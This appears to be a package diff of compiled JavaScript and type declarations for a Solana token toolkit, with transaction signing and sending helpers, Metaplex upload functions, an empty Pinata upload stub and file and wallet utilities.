@@ -0,0 +1,68 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import { Transaction, VersionedTransaction } from "@solana/web3.js";
|
|
11
|
+
import { checkTransactions } from "./check_transaction";
|
|
12
|
+
import { SPL_ERROR } from "../global";
|
|
13
|
+
export const sendAndConfirmTransactionWithCheck = (connection, signer, txn) => __awaiter(void 0, void 0, void 0, function* () {
|
|
14
|
+
try {
|
|
15
|
+
if (checkTransactions(txn, signer) === false) {
|
|
16
|
+
return SPL_ERROR.E_CHECK_FAIL;
|
|
17
|
+
}
|
|
18
|
+
let res, signature;
|
|
19
|
+
if (txn instanceof Transaction) {
|
|
20
|
+
txn.recentBlockhash = (yield connection.getLatestBlockhash()).blockhash;
|
|
21
|
+
signature = yield connection.sendTransaction(txn, [signer]);
|
|
22
|
+
}
|
|
23
|
+
else {
|
|
24
|
+
txn.sign([signer]);
|
|
25
|
+
signature = yield connection.sendTransaction(txn);
|
|
26
|
+
}
|
|
27
|
+
if (signature.length <= 0) {
|
|
28
|
+
console.log("Error: [Send Transaction] failed... ");
|
|
29
|
+
return SPL_ERROR.E_SEND_TX_FAIL;
|
|
30
|
+
}
|
|
31
|
+
const txnId = yield connection.confirmTransaction({
|
|
32
|
+
signature: signature,
|
|
33
|
+
abortSignal: AbortSignal.timeout(90000)
|
|
34
|
+
});
|
|
35
|
+
if (txnId.value.err) {
|
|
36
|
+
console.log("Error: [Confirm Transaction] failed - ", txnId.value.err);
|
|
37
|
+
return SPL_ERROR.E_CONFIRM_TX_FAIL;
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
catch (error) {
|
|
41
|
+
console.log("Error: [Confirm Transaction] failed - ", error);
|
|
42
|
+
return SPL_ERROR.E_FAIL;
|
|
43
|
+
}
|
|
44
|
+
return SPL_ERROR.E_OK;
|
|
45
|
+
});
|
|
46
|
+
export const sendAndConfirmTransactionsWithCheck = (connection, signer, txns) => __awaiter(void 0, void 0, void 0, function* () {
|
|
47
|
+
for (const txn of txns) {
|
|
48
|
+
if (txn instanceof VersionedTransaction || txn instanceof Transaction) {
|
|
49
|
+
const txn_res = yield sendAndConfirmTransactionWithCheck(connection, signer, txn);
|
|
50
|
+
if (txn_res !== SPL_ERROR.E_OK) {
|
|
51
|
+
return SPL_ERROR.E_FAIL;
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
return SPL_ERROR.E_OK;
|
|
56
|
+
});
|
|
57
|
+
export const signTransaction = (signer, txn) => {
|
|
58
|
+
if (checkTransactions(txn, signer)) {
|
|
59
|
+
txn.sign([signer]);
|
|
60
|
+
}
|
|
61
|
+
};
|
|
62
|
+
export const signTransactions = (signer, txns) => {
|
|
63
|
+
for (const txn of txns) {
|
|
64
|
+
if (txn instanceof VersionedTransaction) {
|
|
65
|
+
signTransaction(signer, txn);
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
};
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import { toMetaplexFile } from "@metaplex-foundation/js";
|
|
11
|
+
import { checkFileExists } from "./utility";
|
|
12
|
+
import { UploadMetadataError } from "../errors";
|
|
13
|
+
import { readFileSync } from "fs";
|
|
14
|
+
export const uploadImageToMetaplex = (metaplex, image) => __awaiter(void 0, void 0, void 0, function* () {
|
|
15
|
+
let url = "";
|
|
16
|
+
if ((yield checkFileExists(image)) === false) {
|
|
17
|
+
throw new UploadMetadataError("Upload file is not exist. Please check.");
|
|
18
|
+
}
|
|
19
|
+
try {
|
|
20
|
+
const fileData = readFileSync(image);
|
|
21
|
+
const metaplexFile = toMetaplexFile(fileData, "meme-logo.png");
|
|
22
|
+
url = yield metaplex.storage().upload(metaplexFile);
|
|
23
|
+
}
|
|
24
|
+
catch (error) {
|
|
25
|
+
throw new UploadMetadataError("Failed to upload image to metaplex.");
|
|
26
|
+
}
|
|
27
|
+
return url;
|
|
28
|
+
});
|
|
29
|
+
/*
|
|
30
|
+
@metaplex: Metaplex which handle uploading
|
|
31
|
+
@metadata: upload metadata
|
|
32
|
+
*/
|
|
33
|
+
export const uploadMetaByMetaplex = (metaplex, metadata) => __awaiter(void 0, void 0, void 0, function* () {
|
|
34
|
+
let url = "";
|
|
35
|
+
try {
|
|
36
|
+
const { uri } = yield metaplex.nfts().uploadMetadata(metadata);
|
|
37
|
+
url = uri;
|
|
38
|
+
}
|
|
39
|
+
catch (error) {
|
|
40
|
+
throw new UploadMetadataError("Metaplex: Failed to upload metadata to Metaplex.");
|
|
41
|
+
}
|
|
42
|
+
return url;
|
|
43
|
+
});
|
|
File without changes
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
"use strict";
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare const uploadImageToPinata: (jwtKey: string, image: string) => Promise<string>;
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
export const uploadImageToPinata = (jwtKey, image) => __awaiter(void 0, void 0, void 0, function* () {
|
|
11
|
+
let url = "";
|
|
12
|
+
return url;
|
|
13
|
+
});
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare function checkFileExists(filePath: string): Promise<boolean>;
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import fs from "fs";
|
|
11
|
+
export function checkFileExists(filePath) {
|
|
12
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
13
|
+
try {
|
|
14
|
+
yield fs.promises.access(filePath, fs.constants.F_OK);
|
|
15
|
+
return true; // File exists
|
|
16
|
+
}
|
|
17
|
+
catch (error) {
|
|
18
|
+
return false; // File doesn't exist
|
|
19
|
+
}
|
|
20
|
+
});
|
|
21
|
+
}
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
/// <reference types="jito-ts/node_modules/@solana/web3.js" />
|
|
2
|
+
import BN from "bn.js";
|
|
3
|
+
import { Commitment, Connection, PublicKey } from "@solana/web3.js";
|
|
4
|
+
import { Token } from "@raydium-io/raydium-sdk";
|
|
5
|
+
export declare function checkFileExists(filePath: string): Promise<boolean>;
|
|
6
|
+
export declare const xWeiAmount: (amount: number, decimals: number) => BN;
|
|
7
|
+
export declare const getConnection: (commitment: Commitment) => Connection;
|
|
8
|
+
export declare const getWalletAccounts: (connection: Connection, wallet: PublicKey) => Promise<{
|
|
9
|
+
pubkey: PublicKey;
|
|
10
|
+
programId: PublicKey;
|
|
11
|
+
accountInfo: {
|
|
12
|
+
mint: PublicKey;
|
|
13
|
+
delegate: PublicKey;
|
|
14
|
+
owner: PublicKey;
|
|
15
|
+
state: number;
|
|
16
|
+
amount: BN;
|
|
17
|
+
delegateOption: number;
|
|
18
|
+
isNativeOption: number;
|
|
19
|
+
isNative: BN;
|
|
20
|
+
delegatedAmount: BN;
|
|
21
|
+
closeAuthorityOption: number;
|
|
22
|
+
closeAuthority: PublicKey;
|
|
23
|
+
};
|
|
24
|
+
}[]>;
|
|
25
|
+
export declare const getAvailablePoolKeyAndPoolInfo: (connection: Connection, baseToken: Token, quoteToken: Token, marketAccounts: any) => Promise<{
|
|
26
|
+
poolKeys: any;
|
|
27
|
+
poolInfo: any;
|
|
28
|
+
}>;
|
|
29
|
+
export declare function getATAAddress(programId: PublicKey, owner: PublicKey, mint: PublicKey): {
|
|
30
|
+
publicKey: PublicKey;
|
|
31
|
+
nonce: number;
|
|
32
|
+
};
|
|
33
|
+
export declare const sleep: (ms: number) => Promise<unknown>;
|